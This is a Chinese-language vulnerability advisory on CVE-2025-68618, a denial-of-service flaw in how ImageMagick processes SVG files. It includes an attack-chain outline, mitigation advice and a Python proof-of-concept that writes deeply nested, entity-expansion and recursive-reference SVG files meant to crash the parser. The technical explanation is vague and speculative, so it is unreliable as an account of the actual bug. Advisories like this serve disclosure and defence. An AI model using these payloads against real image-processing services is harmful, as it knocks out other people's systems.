IPBUF安全漏洞报告
English
CVE-2025-68618 CVSS 5.3 中危

ImageMagick CVE-2025-68618 SVG文件处理拒绝服务漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-68618
漏洞类型
拒绝服务(DoS)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ImageMagick

相关标签

拒绝服务ImageMagickSVGCVE-2025-68618文件处理资源耗尽漏洞利用中危漏洞

漏洞概述

ImageMagick是一款免费开源的图像处理软件,广泛应用于Linux和Windows系统,用于编辑和操作数字图像。该软件支持读取、处理和转换多种图像格式,包括PNG、JPEG、GIF、TIFF、SVG等。

在ImageMagick 7.1.2-12之前的版本中,存在一个拒绝服务(DoS)漏洞。当软件尝试读取包含恶意构造的SVG文件时,会触发该漏洞导致程序崩溃或服务中断。攻击者可以通过诱使目标用户打开特制的SVG文件来利用此漏洞,无需任何特殊权限即可实施攻击。

由于ImageMagick通常作为Web服务器后端组件或图像处理服务运行,该漏洞可能对提供图像处理服务的应用程序造成严重影响。攻击者可以利用此漏洞导致图像处理服务不可用,影响业务的连续性。

该漏洞已被官方确认并修复,建议受影响的用户尽快升级到ImageMagick 7.1.2-12或更高版本以消除安全风险。

技术细节

该漏洞存在于ImageMagick处理SVG文件格式的代码模块中。SVG(可缩放矢量图形)是一种基于XML的矢量图像格式,允许包含JavaScript脚本、引用外部资源以及复杂的图形元素。

在解析恶意构造的SVG文件时,ImageMagick可能存在以下问题:

1. **内存处理问题**:恶意SVG文件可能包含递归的图形引用、深度嵌套的元素或异常的资源请求,导致内存消耗剧增或栈溢出。

2. **解析器缺陷**:SVG解析器在处理特定构造的XML元素时可能进入无限循环或产生未定义行为,导致程序挂起或崩溃。

3. **资源耗尽**:特制的SVG文件可能包含大量外部实体引用(XXE攻击变种),导致服务器耗尽文件描述符或网络资源。

攻击者只需制作一个包含上述特征的SVG文件,并诱使目标系统使用ImageMagick处理该文件即可触发拒绝服务状态。攻击复杂度低,无需认证,且可通过多种渠道传播恶意文件。

攻击链分析

STEP 1
步骤1
攻击者创建恶意SVG文件,包含深度嵌套元素、递归引用或大量资源请求
STEP 2
步骤2
通过邮件附件、文件上传服务或恶意网页等渠道将SVG文件传递给目标用户
STEP 3
步骤3
目标系统使用ImageMagick处理该恶意SVG文件
STEP 4
步骤4
ImageMagick解析器在处理SVG时触发漏洞,导致内存耗尽、栈溢出或程序崩溃
STEP 5
步骤5
目标系统服务中断或程序崩溃,造成拒绝服务状态

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68618 PoC - ImageMagick SVG DoS This PoC generates a malicious SVG file that triggers a denial of service in ImageMagick versions prior to 7.1.2-12. Usage: python3 cve_2025_68618.py """ def generate_malicious_svg(): """Generate a malicious SVG file to trigger DoS in ImageMagick""" # Method 1: Deeply nested SVG elements nested_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> ''' # Create deep nesting to trigger stack overflow or resource exhaustion for i in range(10000): nested_svg += f''' <g id="layer{i}"> <rect x="{i}" y="{i}" width="10" height="10" fill="red"/> <circle cx="{i}" cy="{i}" r="5" fill="blue"/> ''' # Close all nested elements for i in range(10000): nested_svg += ' </g>\n' nested_svg += '</svg>' return nested_svg def generate_xxe_svg(): """Generate SVG with external entity expansion (resource exhaustion)""" xxe_svg = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe1 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"> <!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;"> <!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;"> <!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="800" height="600"> <text x="10" y="20">&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;</text> <rect width="100" height="100">&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;</rect> </svg> ''' return xxe_svg def generate_recursive_use_svg(): """Generate SVG with recursive use elements""" recursive_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"> <defs> <g id="recursive_element"> <circle cx="250" cy="250" r="100" fill="green"/> <use href="#recursive_element" transform="scale(0.5)"/> </g> </defs> <use href="#recursive_element"/> </svg> ''' return recursive_svg def main(): """Generate and save PoC SVG files""" # Generate nested SVG PoC with open('CVE-2025-68618_nested.svg', 'w', encoding='utf-8') as f: f.write(generate_malicious_svg()) print('[+] Generated: CVE-2025-68618_nested.svg') # Generate XXE SVG PoC with open('CVE-2025-68618_xxe.svg', 'w', encoding='utf-8') as f: f.write(generate_xxe_svg()) print('[+] Generated: CVE-2025-68618_xxe.svg') # Generate recursive SVG PoC with open('CVE-2025-68618_recursive.svg', 'w', encoding='utf-8') as f: f.write(generate_recursive_use_svg()) print('[+] Generated: CVE-2025-68618_recursive.svg') print('\n[!] To test, run: convert CVE-2025-68618_nested.svg output.png') print('[!] Affected versions: ImageMagick < 7.1.2-12') if __name__ == '__main__': main()

影响范围

ImageMagick < 7.1.2-12
ImageMagick 7.1.x 系列 < 7.1.2-12

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在文件上传服务中限制SVG文件上传;2) 使用文件类型白名单机制,仅允许可信来源的图像文件;3) 对上传的SVG文件进行预验证,检查是否存在异常嵌套结构;4) 限制ImageMagick的资源使用配额(最大内存、最大文件大小等);5) 考虑使用沙箱环境隔离ImageMagick处理过程;6) 启用SVG安全策略配置文件(ImageMagick policy.xml),限制SVG处理能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表